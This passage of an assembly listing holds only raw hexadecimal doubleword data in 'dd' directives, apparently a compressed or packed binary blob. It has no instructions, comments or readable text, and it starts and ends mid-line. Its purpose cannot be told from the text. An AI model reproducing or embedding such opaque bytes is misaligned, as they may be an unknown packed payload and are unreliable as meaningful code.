0FC4BFEB7h, 3112C203h dd 0D2A0B58h, 0A877F5C6h, 0BCFAB27Ah, 0DFFB6B2h, 0D459FF5Ah dd 40ADE22Ch, 90FF0837h, 7E1BDB6Fh, 4B488D3Eh, 8B7FFFFEh dd 0F82B520Eh, 0B3C5CB49h, 7E05142Fh, 3950571Dh, 0DC89DAB1h dd 0FF9F17F6h, 462DFFFFh, 6F20734Dh, 0B70B6DCAh, 83DD79A8h dd 41BCEF9h, 5BE286FEh, 906EA7A1h, 0D5BC6FFFh, 9E476B1Fh dd 505A26Ch, 8D440403h, 0B410B8F2h, 0FFFF0258h, 31CFFFFh dd 89B0207Ch, 6C512E9Fh, 0FB525153h, 5871C223h, 0FF91F77Ah dd 4D8A7525h, 16558808h, 0BFFD330Bh, 3C51FFF4h, 706E6B11h dd 398D1A10h, 8DFDB3Ch, 6185112Fh, 0F6F35DEEh, 0FFFF0C41h dd 0E023BF42h, 8306310Bh, 49FF7E07h, 8B0B7804h, 0A8358811h dd 0FF02E23Ah, 0FFFFFF12h, 260C9501h, 17A299C2h, 0C067EAFFh dd 820DA961h, 9206CF06h, 1D50A26Dh, 0DFF4BC9h, 0FF252CFEh dd 0B3DED94Dh, 834A7F69h, 7D47FF3Eh, 955BE78Ch, 5D5EFFFAh dd 0B8294756h, 25536EC4h, 0BAD5D98Bh, 0FFFFA808h, 6AA9FE2Dh dd 77013B2Eh, 2D8D252Dh, 7894A294h, 6E4334CFh, 35D847A5h dd 0FFFF1375h, 83AFFFFFh, 16262A38h, 831C3FB0h, 7C4DCF76h dd 5ED34924h, 0A0FE08D0h, 78D92E89h, 8537F402h, 0FFFF2E47h dd 0F1BAF85Fh, 0E39DD9CFh, 1DA2EDC9h, 0CBD8B74h, 4A08B52Bh dd 0B6CB9C4Dh, 891B16F5h, 0FFFFFFFFh, 0B408D47Dh, 48C0E802h dd 0E02CB2CBh, 69BCB0C4h, 0FD880326h, 75D07539h, 569C7C2Dh dd 0A1052D41h, 0FFD5BFFFh, 0C2A87065h, 0B9F30CF6h, 0E075DA4h dd 166385D0h, 1D9B44Bh, 60922EA4h, 0FD0BF16Dh, 4580E35Bh dd 0D40DC5E3h, 0FECB21BBh, 0FFFFC16Ch, 8DE60BFFh, 0C1998474h dd 0DC1FC508h, 27550603h, 0D62C11C1h, 0EC027F24h, 702D2A39h dd 0F16FFFFFh, 0C6DD5236h, 3B228016h, 71A97DEh, 76DB2F8Ah dd 84BE138Bh, 2CCF8D2h, 0C2FFFFFAh, 0A847ACD8h, 0E7B75705h dd 0B907EE17h, 0FAAACCB1h, 0B8A95F77h, 0F8E08C0Fh, 1C37FFFFh dd 3C202CC2h, 0B7117758h, 2151B8B9h, 58F08000h, 4B550F5Ch dd 0FD01912Ch, 0F717FC1Bh, 51102FBEh, 0E9ABADA9h, 3F04806Fh dd 1BEE140Bh, 4BFFFFE0h, 7A870F88h, 9163D735h, 99B85285h dd 885FEC2Ah, 84660F70h, 0FD6F85C0h, 73697DFh, 6DBC5D4Fh dd 3EBBDEB4h, 0E82D7447h, 0FC5BA974h, 6FBA5FFh, 3F14848h dd 394039A4h, 0BA439112h, 1392758h, 0FE0DFF06h, 0DDB0E471h dd 0EEE34D81h, 0FA800214h, 0B50286E8h, 0FFC6FF6Fh, 8BDCCBFFh dd 8FBCFC7Fh, 9C2739BDh, 4806F08Dh, 24C4F704h, 342DB514h dd 0FD2FC0B9h, 0A16FFEDh, 1CC9CA79h, 0D0B9B6B3h, 73412EABh dd 1D909967h, 7D3EC4D9h, 0FFFB7E05h, 0E00640D8h, 46744936h dd 0BCBCB6DCh, 6C38A204h, 0FE771574h, 0FD4B12ABh, 678DB135h dd 23B5A5C7h, 0C002005Eh, 39117FFFh, 92C330ECh, 10BA59A8h dd 0DFEF2008h, 2F2314BAh, 0C4FF42FDh, 34017B80h, 32101175h dd 0E403B0F6h, 321A3376h, 0FFFFFFDBh, 376C985Bh, 0F1024965h dd 5B8641Ah, 0E6967972h, 7693CB6h, 0F56F05FDh, 670C6675h dd 0FFFFFE17h, 58E578EDh, 0AB70B8DDh, 9C0F0F54h, 50C2CE50h dd 0CC1C352Ch, 3C3B30F6h, 0A17C3522h, 6D2EFFFFh, 0D0C01953h dd 986F118Dh, 0BFA1DCD9h, 70C13463h, 0BF0849B7h, 4BE8EFABh dd 3E728F86h, 5EB8E58h, 71AB530Eh, 7FF16FC1h, 179AE942h dd 107441CFh, 0E910340h, 4EE550BDh, 16836B7Ch, 0AFFA40F3h dd 0F46A39DAh, 2FFE8DFFh, 0EC5DFE14h, 2D43C9B8h, 0A7E57C2Ch dd 82C76F98h, 0DCA06D0Dh, 0FFFFFE05h, 85DFCCE0h, 64E889DEh dd 30F08FB0h, 3B757508h, 6CEBE48Bh, 0B92E0710h, 0FFFEDFFFh dd 0E095F5EDh, 0B905FF83h, 0FC2683A3h, 0D61EBC0Ch, 0A0965EC2h dd 0B3BD50B9h, 8468FE03h, 0FF5BF854h, 550735B9h, 0BC5F0224h dd 38E0D78Ch, 0FB138287h, 2FFFFFABh, 1AE7DCC1h, 48649900h dd 9379DB0h, 4FC0C1A8h, 52CD99AAh, 0B7F45F31h, 0DB787FFEh dd 814CD8ECh, 0B6EB4F81h, 0EC886F9Bh, 0B054D9D5h, 0FFFA251Dh dd 0C5966FFFh, 0A81FD55Eh, 0DB697329h, 0EFEEDEB6h, 3B4E078Bh dd 48F74AC6h, 5F51CE09h, 585EADE8h, 0F35C5FE2h, 0B387BF0Fh dd 0C22B9911h, 0FFFFF105h, 0EFD9F8D1h, 0EC9B6034h, 80A10729h dd 48B10BBAh, 137950C0h, 0BFFFFFFFh, 2C8C8D43h, 0AD657486h dd 0DC0D02EAh, 6708FF44h, 84A08E0Fh, 0A07469F8h, 0D6DD66Eh dd 0FFAB2244h, 0CE6FD2F6h, 0FE6DF6F6h, 9780DD44h, 3F49A108h dd 8DA14887h, 8B407FFEh, 76A7DE37h, 0B50EF333h, 0EAD42126h dd 0FFFFB4DBh, 9A9B7FFFh, 0CC2C6609h, 7051766h, 9ACDF877h dd 889AE106h, 0E4ABDF4h, 0A444FFCh, 8566E87Bh, 0FFFFFFFDh dd 43890FC9h, 6A7F4B7Ch, 4572297h, 0FB86B84Eh, 670B0E75h dd 0C2C8EDD3h, 0E0184775h, 0FFFF393Eh, 3F52FFFh, 883B5135h dd 9B578152h, 138E2D7Eh, 81972F75h, 561C5DC6h, 0EE6C81E4h dd 0B7FF1A8Eh, 7C16FFFAh, 0EC0A74ACh, 0CF5A98FCh, 3BBF556Dh dd 0A50A6B2Ch, 873E1C2Ah, 0FFFF5E93h, 0B1CDFFFFh, 8405D8F0h dd 8388F5BEh, 0D002C405h, 0CBCE0B9h, 5B53F898h, 146E49D5h dd 7D8B6A70h, 0DAB71C91h, 0DF6CFFFAh, 0E781EF8Eh, 6E1AF280h dd 13391575h, 8081987Ch, 6FFF56Eh, 2FA9E75Fh, 19C730E4h dd 3B781E26h, 0FF78EBA5h, 81DFFFFFh, 4366300Bh, 8DDF53A9h dd 48AE0E17h, 0B4BB4A9Ah, 0D74621EBh, 738DC8E1h, 84FD703Ah dd 0A37FFFFEh, 24CCD5E3h, 0CC59C63Ch, 7B0027B4h, 0ADFC6C10h dd 8AC920D9h, 0FF510417h, 0FE2DFFB7h, 0C92C30C8h, 6E41955Bh dd 80777AF0h, 0E170B610h, 43B23A6Dh, 0FFFFFFFFh, 86C1F697h dd 0B40A0415h, 3540C7C6h, 76FB2806h, 3FB83753h, 10EB9986h dd 3740A14h, 97C71D99h, 0FFFFFFF5h, 1ED25CEAh, 0D68F740Fh dd 647C147Fh, 7FD8E31Eh, 0D8F70E73h, 0F700D283h, 1B88B4DAh dd 28940BABh, 964D89F4h, 0FFFFE8A5h, 0F2DB7F6Fh, 6910097Dh dd 83119786h, 7483F74Ch, 0A087E25Bh, 0C30BC78Bh, 8D9421D7h dd 0FFC1BFFFh, 84AA17B5h, 0CFF5D6EBh, 5B497F5Ah, 90187889h dd 505299C6h, 8CBA585Bh, 0FE1706FFh, 30C1B689h, 2413397Fh dd 5EC05F46h, 880C033Dh, 0BFFF4E0Eh, 0B6EB8171h, 398CD8C2h dd 7946C62Bh, 0AED8CF02h, 0E23621BEh, 0FFF4BFF5h, 0CE8BD24Ch dd 0E2303980h, 542B7FDDh, 3001C6BBh, 4932EB40h, 56FF1166h dd 858D2FFFh, 4040C41Bh, 0FA2BF44Fh, 641BEB05h, 80B21FA4h dd 0FE0D4908h, 0F339FFFFh, 5050435h, 0D450F522h, 0C5B51B1Eh dd 81FB6FB0h, 0AA568662h, 0BF0F636h, 2366FFFCh, 0CCBA5245h dd 0EB2DF67Fh, 2B09A812h, 7402A8C7h, 0FFF5790Bh, 0BD0B2FB7h dd 0EF021C1h, 0C402D85Dh, 0D445C02Dh, 29270C90h, 0E8DF5764h dd 0CC98BF12h, 7D7F56B3h, 70635F61h, 0C84D8D13h, 0ADFFFE25h dd 816D44A1h, 6D111AEh, 29574D04h, 0B986DBAAh, 0FFFF9E30h dd 0BC82FEA5h, 563BD87Ch, 7ED7C9E3h, 0B7C1CD4Dh, 5997D906h dd 909862D8h, 0C0BF0106h, 26ECFFFFh, 7ACBEDABh, 46504690h dd 391F7528h, 68727411h, 6390AF8Ch, 0C2FF238Dh, 4A66F6C2h dd 36B31598h, 139B406Fh, 0A9686B07h, 56FF501Ah, 0A168FDB1h dd 21318E59h, 0ACA67CE7h, 0ADA2C6Dh, 0FFFF4DFAh, 0E0ACFA5Fh dd 44360D65h, 0B8E159B7h, 0E756228Ah, 1B6F1DA8h, 0CD8C4DAAh dd 59D08AD4h, 0FFFFFFFFh dd 66EC4981h, 9204CB05h, 0E5B8016h, 0D3584A6Dh, 468D8BE8h dd 0A93007E6h, 1F8BABDh, 0EDB66CB3h, 0EAA6FA97h, 7C409331h dd 0B3C9202h, 7B4472C0h, 0F42F52FFh, 40561B73h, 3866DB36h dd 6FC2E52h, 68243E6Ch, 0FFFF1A85h, 9305203Dh, 213D3F19h dd 0FE7FAAB1h, 223D0E06h, 0D0BEE59Ah, 8199FE05h, 0DA297170h dd 68420F9Ch, 157224B9h, 0FFF56F21h, 4771CBB7h, 774564AAh dd 2F568BF9h, 5CE28705h, 0CA4A37F3h, 0FFFFFFADh, 17FC3953h dd 4E39B56Eh, 3DB6B21h, 0DA030CC1h, 0EE72CB3Bh, 4ADFB710h dd 2F02129Bh, 0C83BE854h, 40C7A373h, 0FF6C28B7h, 97FFFFFFh dd 0D4AD0858h, 0FC68349Fh, 0FB83248Bh, 64ED0905h, 8BAC1ABh dd 110406Ah, 4D68DE05h, 8DFF60B5h, 360FFFEh, 8A08897Bh dd 0A3190076h, 0ADB88518h, 0EF499Eh, 43D0578h, 0FFFFF5D1h dd 0D1BFE25Fh, 6B24BE4Bh, 5C7EB0C9h, 0DE396483h, 8B98CFDh dd 421D1E18h, 0FF8DDF03h, 3B90FFFFh, 0D6E27CD3h, 0BCA86E08h dd 4A8E3D00h, 79FB9827h, 6F7564E9h, 30836446h, 0FFFE97FFh dd 0F20F1290h, 81CFC873h, 84913D4Eh, 0E2933D3Eh, 2E851CFCh dd 1E828D3Dh, 0DFFF8F3Dh, 0CF35FB60h, 0DF8621CFh, 14B08792h dd 644C107Dh, 0BED0D35Dh, 0FFFF2B52h, 7347FFFFh, 0C51E434h dd 5CAD9914h, 38605805h, 0D2EA21D5h, 5C81F7B9h, 6F8247D5h dd 9B358B35h, 0FFE90BDFh, 1BF0FF02h, 8FBE057Ah, 20B68ADFh dd 2E8E0877h, 40BDA8D6h, 0FFFF491Bh, 6B227FFFh, 0AAE50927h dd 0F965808Bh, 4FF74002h, 1B7C743h, 0D3EB4646h, 0F88072Ah dd 2DE7119Ah, 0FFFFFFFFh, 0B592AA53h, 655B8EE7h, 4BD49F5Dh dd 0F3C2EFE0h, 8C331875h, 682D3C47h, 3D3DB706h, 0AFCF5647h dd 0F52FFFFFh, 0B6B7AB45h, 0EA723AE0h, 0B8A8046Ah, 0FB380A3Dh dd 683DB296h, 0A1ACE0D6h, 0FFFFEADFh, 5540CB44h, 2B7D30AAh dd 0E88B7814h, 2F7E24E8h, 0DE55016Ah, 3B2D8EEFh, 0FF1BFFFCh dd 74072BC3h, 5055564Ah, 0DEA8C64h, 52650053h, 4B2F896Ch dd 1E38F503h, 0BFFFFF8h, 0E2E4C17h, 893BFEABh, 1F890A1Dh dd 0F2C005C7h, 0EB724B59h, 0FFC3CD20h, 0D65FFFFFh, 7ABA0A72h dd 0E423C034h, 8E53DF95h, 0CF23545Ah, 5AF10EC9h, 0DDF2A214h dd 9A2538B0h, 5BFFFFF8h, 15A12BE8h, 5685BF48h, 9E5A1380h dd 0FC251033h, 3601B8B3h, 0BFBF22AAh, 0C737C0B1h, 0C507FF3Ch dd 0E8DB8322h, 89420288h, 0FFFE37FAh, 213B8A36h, 0C3ED06D6h dd 1E134B18h, 3834040Bh, 0B40CD774h, 0FC361773h, 955FFFFFh dd 5FDB845Dh, 0DE327470h, 0F4477836h, 0FB80A975h, 904050Ch dd 1E029F75h, 0D4BFEF45h, 0C6F65B46h, 0B3FA30AAh, 0E9BC0BD1h dd 0FFFFFFE8h, 5B3C16B6h, 0D610A160h, 0E383F396h, 336F918h dd 83D0A10h, 50A945A0h, 7F103E28h, 125FFFFBh, 4A1ED1EFh dd 4676F7C1h, 745C2241h, 3826ADF9h, 9AB54A01h, 6BAF7466h dd 55BFA5F6h, 41226996h, 0F10DEBF0h, 156EC7C4h, 0FFFFFFFDh dd 8E9D1FFh, 27C4912h, 0BC36C65Ch, 0C9D042BBh, 0FDCBF175h dd 8A35574h, 0E97415B6h, 47744B82h, 0FFFFFD1Bh, 7B283DB0h dd 53802B94h, 0CDACE417h, 290D3B5Ch, 0E93DDCDEh, 671F6E73h dd 0FFFFFFFCh, 1A180322h, 0B74B0E54h, 8D274663h, 76B2Ah dd 0FB9A1531h, 3C1030F8h, 0A52AC9F7h, 0D6FFAC11h, 2BCA2FFFh dd 0CC002083h, 8A11CBECh, 8AD7895h, 0A138F1E5h, 0C1D88F8h dd 0FFFFD1BFh, 0A1AB4177h, 251FD4EDh, 5EE52D1Ah, 50183807h dd 20A50A21h, 308D886Dh, 0FFFFF16Fh, 0F27DEAB6h, 3BA3618Ch dd 4C3830EAh, 733F123Dh, 0F8956A4Ah, 4273F4DEh, 0FD1A2DC2h dd 2E7C19Ch, 0B2EF878Dh, 4BA33634h, 0D8F8DC4Bh, 0E11CDB07h dd 570F3E29h, 0FFC2506Bh, 7366FFD2h, 5CA3485Fh, 0AD606F69h dd 4D171C2Eh, 65B5E3ECh, 0FF12DC20h, 95FFFF42h, 0F09842F3h dd 0FBF14BFEh, 6AC3FFDBh, 0FF755D02h, 246855D7h, 6FFA35Eh dd 9C8DFFFFh, 4222A922h, 0B91242EFh, 17A3C5CDh, 0B1A1D39Ah dd 633D8041h, 0A5FF1C4Bh, 59ACFFFFh, 8FED390Fh, 0D91E5BE0h dd 974A05DBh, 0CC5032Ah, 4406F975h, 0F2D56A82h, 0FFB7FF02h dd 0E1405BFAh, 53A24B12h, 0A9206D6Eh, 0F751D771h, 3BE83A34h dd 0FFFF4235h, 54F657FFh, 289F1980h, 72881C23h, 959A55Dh dd 0B2402524h, 0E8DF800h, 0FA37E05Dh, 39222ADBh, 94ED038Bh dd 32A6ACB7h, 0FF58EBC3h, 0EA5FF02Fh, 4A80753Ah, 116CEE43h dd 0EDFF1ABBh, 7D946EDBh, 7C3840DDh, 0FFC5BFFFh, 78F604FBh dd 0B59A440Ah, 91816B40h, 0E99F0C8Ah, 10B48C42h, 61A22611h dd 0FFFF5285h, 1F162833h, 153FA8Ch, 68546A65h, 0A1C076F0h dd 0FFF46CA2h, 0DFF8Dh, 495B4606h, 7D16A02Eh, 2F1A565Eh dd 0F0F7787Bh, 0C0A3DC17h, 0A85FFFFEh, 888DE579h, 0AA2D0700h dd 294E6B41h, 2F367881h, 66FCBB7h, 0FD5BFF05h, 878AC37h dd 25030024h, 0DB8260Ah, 6B10B7EFh, 0C181300Dh, 0FFFD1BD2h dd 63D3E92Ah, 360B8051h, 6E5DCE7Dh, 7D12D6D0h, 0FF1BF254h dd 8DFEDF1Bh, 6DDCED84h, 8263DD0h, 6001F828h, 0A615C96Fh dd 82845280h, 0FFE25FE2h, 0AEF63DE2h, 0C8D4D8Ch, 350180B5h dd 19010382h, 0FF90C35Bh, 8FDFFFFFh, 3EC7CACh, 246080FBh dd 81118480h, 72C280C2h, 958846D6h, 39B20AFEh, 44EBA67Ch dd 0FFFFF85Fh, 80BD5609h, 7E96C721h, 28BE8B6Dh, 8C474D1h dd 0FC51562Ch, 0FCBBCC60h, 6FF5A84Bh, 0B108FE97h, 0A0E01551h dd 3C818D61h, 0F82C5E03h, 0E68323B7h, 6FEB7FFFh, 338F615h dd 8B703829h, 300691DBh, 0EF044688h, 41700043h, 0FFFAF25Ah dd 0ED42FFFFh, 4EA64703h, 1BFF9C46h, 43ED8A37h, 21042A83h dd 8BA1937Ch, 0BEC623A8h, 0B3541F3h, 0D37F52Dh, 6D2A0B69h dd 800686FFh, 0BFFC8061h, 72EBFFC5h, 0FA8149C6h, 5E0A1701h dd 4D58F62Fh, 156648C3h, 0C7EA0737h, 1BD5A97Fh, 0B0765486h dd 5543DD15h, 3DB9573Fh, 0FFFF897Fh, 349BC9E2h, 45793E89h dd 14D77502h, 90FD1B4h, 0E6BF7788h, 9508595Eh, 0FFF1BFFFh dd 5A913774h, 1006C727h, 0EC0EDA97h, 678C69B6h, 0C116CC9Ah dd 0E457DC29h, 0F8B71165h, 94CAFDBFh, 73BC0230h, 0AF9C1D99h dd 4750B8FDh, 0F604BF27h, 0ADFF51A8h, 9EC7FC2Fh, 0E7920500h dd 585823ACh, 0A302A104h, 91FB67Bh, 0FFFFC0CAh, 0BFBBFFFFh dd 0BB40E64Eh, 0CA5BB31h, 9A381811h, 0BAE0102Dh, 0D0F709FBh dd 0EB2254A3h, 2B1B5660h, 0FFFFF000h, 3D2CFFFFh, 0A92AFCD4h dd 67A8C5F9h, 7BDF0D8h, 0FDB4E060h, 0F027DB34h, 33F445DCh dd 0E983330Ch, 2FBB2EEh, 0F7CDFFFFh, 0EB594FBEh, 0C9D8850Bh dd 78D7ED7Ah, 0CC1110E0h, 28D6F77Bh, 45BFFD05h, 170511EBh dd 8C49105Eh, 7612FDB5h, 77FFFFF0h, 3DE4FF95h, 0A2E95023h dd 91ECEE2Ch, 0C51C1005h, 1D3D15DBh, 0A4278A06h, 0BFE0DDBFh dd 0FB9351E5h, 909AA45Bh, 4B53682Bh, 0E9210376h, 0DF90535Fh dd 0AA0DF415h, 9276F456h, 88DBF0B6h, 0DFFFFFFFh, 5DA506EAh dd 0AA25BDE8h, 0B87D1C14h, 576D756Fh, 300E12C0h, 0FE3AF75Bh dd 0EFFFFEDh, 70475C04h, 31C38168h, 8C67005h, 0AF9B8770h dd 0D7DFFCCBh, 0CD14A349h, 0FFFC94BDh, 10CCA5FFh, 15C22A9Ch dd 41BA4051h, 0F249303Eh, 0AF01661h, 1E242735h, 0B7FFFF47h dd 53EA176Fh, 10C7BDAh, 7FF0A6h, 11921514h, 7F90060h, 94F7BA29h dd 97FFFE9h, 0C73B37E0h, 5E96CF9h, 410DE2ECh, 0AEA3CEFAh dd 0FFA08458h dd 0B4FF02FFh, 705A860Fh, 21458201h, 4B862FEBh, 903F9ABCh dd 3D173D3Ch, 0FF4387EFh, 4FFFFFFh, 7D813A77h, 4E10FDCh dd 79296A18h, 0C35A4B37h, 0E0E064B8h, 44271777h, 703B884Dh dd 1B119E75h, 75FFFFFDh, 53927F7h, 1F766818h, 0E8862D56h dd 0B9983D3h, 5E2514ADh, 0FF37C413h, 9CFF82A5h, 3FFBC975h dd 0ECA2FBE1h, 0B5B74544h, 0E47FFEAh, 17FFC524h, 81B0398Ah dd 3F7645Bh, 8C362F8Bh, 0FFEB392Dh, 0C2BFFFFFh, 0BE4AD810h dd 52401E62h, 0A6F4CFD1h, 40BCF91Bh, 0A704A608h, 45482788h dd 418EEBBh, 6B7FFF44h, 0A66803FFh, 0E40072CFh, 0BA011A05h dd 4340B06Eh, 3D806EBh, 0A69A6DD0h, 0FFF5BF69h, 0B8C0C8FFh dd 0BFA6A8B0h, 0CF152010h, 0A9FF8B6Ch, 0F47DD368h, 0A72CEA0Ch dd 5221E4CFh, 7FFFFEBh, 40A89020h, 0CEFDD7A8h, 2CA79423h dd 0C80BA490h, 0A550F203h, 0B5AADDBEh, 39C4161Ah, 345B0504h dd 17ABD74Dh, 60BA5FAh, 5C54034Ch, 0D34DA21Eh, 0FEEDBEB2h dd 0CFA8877Fh, 2109DD7h, 0A805A023h, 0B8120003h, 0C41310CCh dd 85FFBC0Fh, 0F04905A2h, 54AE3211h, 0D3B86A8Dh, 0BE829B05h dd 9296BAD0h, 8F0D5AA2h, 0F4844FCEh, 1AEA5E0Dh, 0A9ECF546h dd 68E1633h, 4B76C462h, 0C514BF41h, 8BF44045h, 37E1C3FAh dd 33F6FD05h, 48DDE819h, 3B74D7F3h, 6A2DBD43h, 521FD2FBh dd 0BFB36FD0h, 51DC0B53h, 0FFFF37BCh, 6CC0A0A5h, 983FBACCh dd 2AF7ABBBh, 0BB9EDBAh, 0D0CBB0Ch, 0B3414BFEh, 0DE00500Ch dd 5256058Fh, 0FF414DB5h, 0ABF40FFh, 0BA0441E3h, 0C7737C17h dd 6F337401h, 4B48A96Ch, 60FFFF1Bh, 23ADC047h, 70C21868h dd 7D75EF10h, 0AD112685h, 57B755Dh, 0D7E8217Dh, 497DE3C1h dd 29104C72h, 9937FFE8h, 0B2444302h, 28281865h, 0ABF5078Eh dd 0D092F137h, 937FD052h, 6E07D233h, 907111FDh, 0C4BE36A9h dd 51728C52h, 0C58F3570h, 0BFFFC966h, 0E617DFD5h, 14FD1495h dd 0AA2BAC65h, 0A8AB1C40h, 0FEC86AFBh, 9E3D5DAAh, 52FFFE82h dd 0CB06AC51h, 6860490Eh, 0FC48FFCFh, 216DCB97h, 8293FF41h dd 5F6B7C69h, 5CF0FF05h, 0FF8B6818h, 0DB2B674Dh, 2FFD09B0h dd 2B2504E9h, 0FFFE7E88h, 735F29FFh, 6F067105h, 0A8B752C3h dd 76182857h, 21A27C7Fh, 5005F0C0h, 829BFF41h, 51457E5Ch dd 0FB69A37Fh, 1BADC22Dh, 5948FF41h, 5ECC081Fh, 224F483Fh dd 0F42FFFC3h, 839558FFh, 0A105F450h, 52AA9267h, 0C5FAF7C1h dd 0F8655521h, 57AA89E7h, 0E2DFFFC1h, 9E78BFFh, 463AFB0Ch dd 554CDF3Ah, 19501337h, 265982D2h, 40F9087Ch, 0FFFEDEE3h dd 0D110A0FFh, 0A01FE8E2h, 556582A5h, 8D2DACC3h, 7B891055h dd 0BD08013Bh, 0F336CCD1h, 8297FFFFh, 5D5E5405h, 31BA0B59h dd 5162CE51h, 0E1E4A2CBh, 0FF5541EEh, 2FFFFFFh, 4A106A7Bh dd 0F8511C0Dh, 0FE58A16Fh, 3FAFAE5Bh, 8DDE2BDFh, 0FD83046Bh dd 137A9378h, 0BF667B9Fh, 0C9F06FC4h, 0C859F58Ch, 0A2A5074Eh dd 0F490342h, 0FF7841D5h, 0C6FFFFFFh, 0AB501072h, 17D22795h dd 46DD2163h, 43161015h, 5C482F72h, 2FBC178h, 0C6983C15h dd 0FF4D6084h, 0F4FFFFFFh, 0E77FFBDh, 19578089h, 0B1556C5Eh dd 8959A093h, 0AF501D52h, 0B204CF59h, 0B45989Eh, 0FF5D0783h dd 0F6FFFFFFh, 0C58A3AA8h, 18D62F44h, 0D050AA8Eh, 6C90D39Dh dd 6B434868h, 21617070h, 0E2E501B9h, 0FF9BBF2Dh, 87FFFFFFh dd 9C86F8Bh, 2A29A59Ch, 0C1118EE0h, 0A6F1717h, 44EF4859h dd 8D9321FDh, 606A58B7h, 0FFDF117Bh, 96FFE17Fh, 282CAB72h dd 0E8720647h, 3E30F45Fh, 0F849906Bh, 0A30B7840h, 73755CC7h dd 0FF42FFD0h, 9E07EBD2h, 9E4F67C2h, 2D686F18h, 0E6DFF3F4h dd 0AD1CCA84h, 77897FFFh, 424A34Eh, 86AD1428h, 0F4182C3Dh dd 0DD0AB6A5h, 0A3BAB7D7h, 0AE5039FFh, 68E7F103h, 0E29551D8h dd 0C3830CC0h, 0BFFFFFBh, 0EF8DA6FFh, 3B5E9A03h, 3720A6C1h dd 50B24B7Ah, 0A32887C3h, 37B06820h, 5B1096C4h, 0A5FFFFFDh dd 0FB15D802h, 414B7F0Bh, 744CF01Bh, 59D68B15h, 0E29122CBh dd 0FC08E9D2h, 5446FFD6h, 118FE144h, 28F8B85Dh, 2A9F91C5h dd 7F5FAABEh, 5BEDFBh, 3504A19Eh, 0D38B5CFFh, 14E73608h dd 0DFC63F3Fh, 0FFFFF55Ah, 0AEDDBDFFh, 83495AEBh, 4D20FE8h dd 482B7406h, 0C5652004h, 0ADD61C74h, 1F7CFDF3h, 25FFF0EBh dd 4928AC6Eh, 0B24BE2Dh, 0BD483524h, 2CBE0AF3h, 25FFFF04h dd 512C2CBEh, 59C8527Bh, 52011E43h, 0E6113A26h, 6C106D10h dd 0BCBA8BFh, 63FFFA5Fh, 0CDE40B63h, 0F5EAA710h, 6FD70DE5h dd 4508A92Ah, 0FF0453DCh, 75FFFEA5h, 6FBB6C1Bh, 3A4F8BC5h dd 604789D4h, 64CB7517h, 0BEA0E7C5h, 0FF47C7D0h, 64FFDBFFh dd 0AF2E119Ch, 427A8668h, 0A96228E8h, 0E15BFB6h, 1039CA03h dd 0A8DC737Dh, 12BB02D1h, 9156FEADh, 4111AB5Ch, 0CCE370A1h dd 0A37FFFFFh, 2FB7CF5Dh, 0F49E2F7Ch, 640E1F45h, 0A555FF53h dd 547219EBh, 0FF905130h, 368DDBFFh, 38A4D8C1h, 0B2981B00h dd 11B8D61Dh, 0A06957Ah, 66338D0h, 0FFE25DD4h, 90664FFh dd 0BD148A34h, 94013C9h, 221AA781h, 518064E6h, 0FF158F3Bh dd 785BFFFFh, 0F3FF045h, 0F288AE85h, 8655FA9h, 0E0704DEAh dd 1194459Eh, 0FCD379C0h, 2FFFFFE9h, 79074C6Dh, 0FBDA0263h dd 0CD7DC46Eh, 0A317EC24h, 901D1C4Fh, 7A14C991h, 0D88B7FE1h dd 34E24CF7h, 0CE0CCA59h, 1E96D5F4h, 0FF83CA92h, 2A5DFFFh dd 46CDBCA0h, 3466CD9Bh, 7454DE6Ch, 56D81B61h, 1517A429h dd 0FFFFFF34h, 15A37B7Fh, 0A86404DEh, 0D397976h, 0D7E76227h dd 9C1F711Bh, 5B0C7754h, 0C4216DC1h, 0FF74CD59h, 56FFA17Fh dd 97A5526Bh, 0C0BF7822h, 63E7513Ch, 56CB004h, 6D001E0h dd 7CBC0308h, 44FFF06Bh, 33750186h, 0D95D6EA3h, 959ECF0Ch dd 0DB19AEh, 25FFFFA5h, 8EA565Ah, 0EDB30504h, 0E4A13B77h dd 315F453Bh, 6F80317Ah, 28FFFFF1h, 0BB26E575h, 0F92EA895h dd 0F5A11DDEh, 0C908131Dh, 539AE6CCh, 5244A51Eh, 17F85FFFh dd 82B25EB3h, 6BC12073h, 35116629h, 914C3B05h, 0ADFFC06Eh dd 3F3BD5BFh, 801E1B77h, 16120D22h, 0A530895Eh, 2D23621Bh dd 0CFFE2DCh, 8B3DB1DCh, 0F7042819h, 0D9A67E2Dh, 8D1A278Bh dd 1C4BFFFEh, 0FDF8754Fh, 7F056DB2h, 880E8AEEh, 746420Ah dd 0FFFFFADBh, 0EB5BF3FFh, 226EB5ACh, 59902247h, 989D40F1h dd 0B3B4EBC1h, 83B6BA5Fh, 14609FC2h, 0FFFF2557h, 339FDFFFh dd 6A283AF1h, 0F651E12h, 516EC8BBh, 860C7D58h, 4BB13BD5h dd 1E839DD5h, 0FF14CAEBh, 0D056FFFFh, 56B7FD0Ah, 0E544D185h dd 8A0F751Bh, 4008880Ah, 0D64EA42h, 0FF1E88D3h, 0F4FC5BFFh dd 0D74F080Eh, 4D9DB3BEh, 23CEE37h, 2F0A39Dh, 338B5ED4h dd 0FF6A5A31h, 50FFFFFFh, 2D76D688h, 4B580611h, 0B84C8DA1h dd 13138790h, 0CB23D882h, 0B926653h, 13FC1931h, 0FFC34972h dd 2FD02FFh, 0C019C317h, 7C1E6D74h, 0A5AD81Eh, 7E028B6Eh dd 0A1DD03C9h, 0EA5FFF11h, 0A0602BFFh, 8406C976h, 312B3010h dd 68885CB3h, 0EF5E0920h, 14248DA4h, 0B7FA9711h, 0F00CAAFEh dd 0E2BA1D45h, 0E7563225h, 6E0B846Ch, 0FF563ACEh, 71FF12FFh dd 0E0171456h, 0F6B5F350h, 27CB2581h, 775835EEh, 22878134h dd 89587636h, 7A12FFE8h, 48C74405h, 0CFC8E4F3h, 0F8BDC700h dd 1870BF6Fh, 7CFF73Ch, 43102018h, 189320E5h, 813C00ABh dd 17EDFFFFh, 0E2842A28h dd 0C3308D12h, 5547DB6Bh, 3F5869E9h, 2851E3EEh, 0BFEA4448h dd 0F4FFA5D4h, 9A562E88h, 0DC6983F0h, 0E740CCFCh, 0E96EEFAh dd 0F4BFFF8Bh, 0EE9770FFh, 0DCF69DEBh, 27285672h, 8BCC69BCh dd 0C9CB1128h, 7ED1E77Fh, 0FFAB0C15h, 47FFFFFFh, 0DCF1143Bh dd 0DD5DA22Eh, 0CC635110h, 1668E1C0h, 36C0D62Ch, 880D88B0h dd 11401A0Ch, 0ADB666B5h, 74F46FFFh, 27F21BCCh, 79FE22Fh dd 0EC658DC7h, 0CA22C03Fh, 0F6FFFF0Ch, 83D8A2FFh, 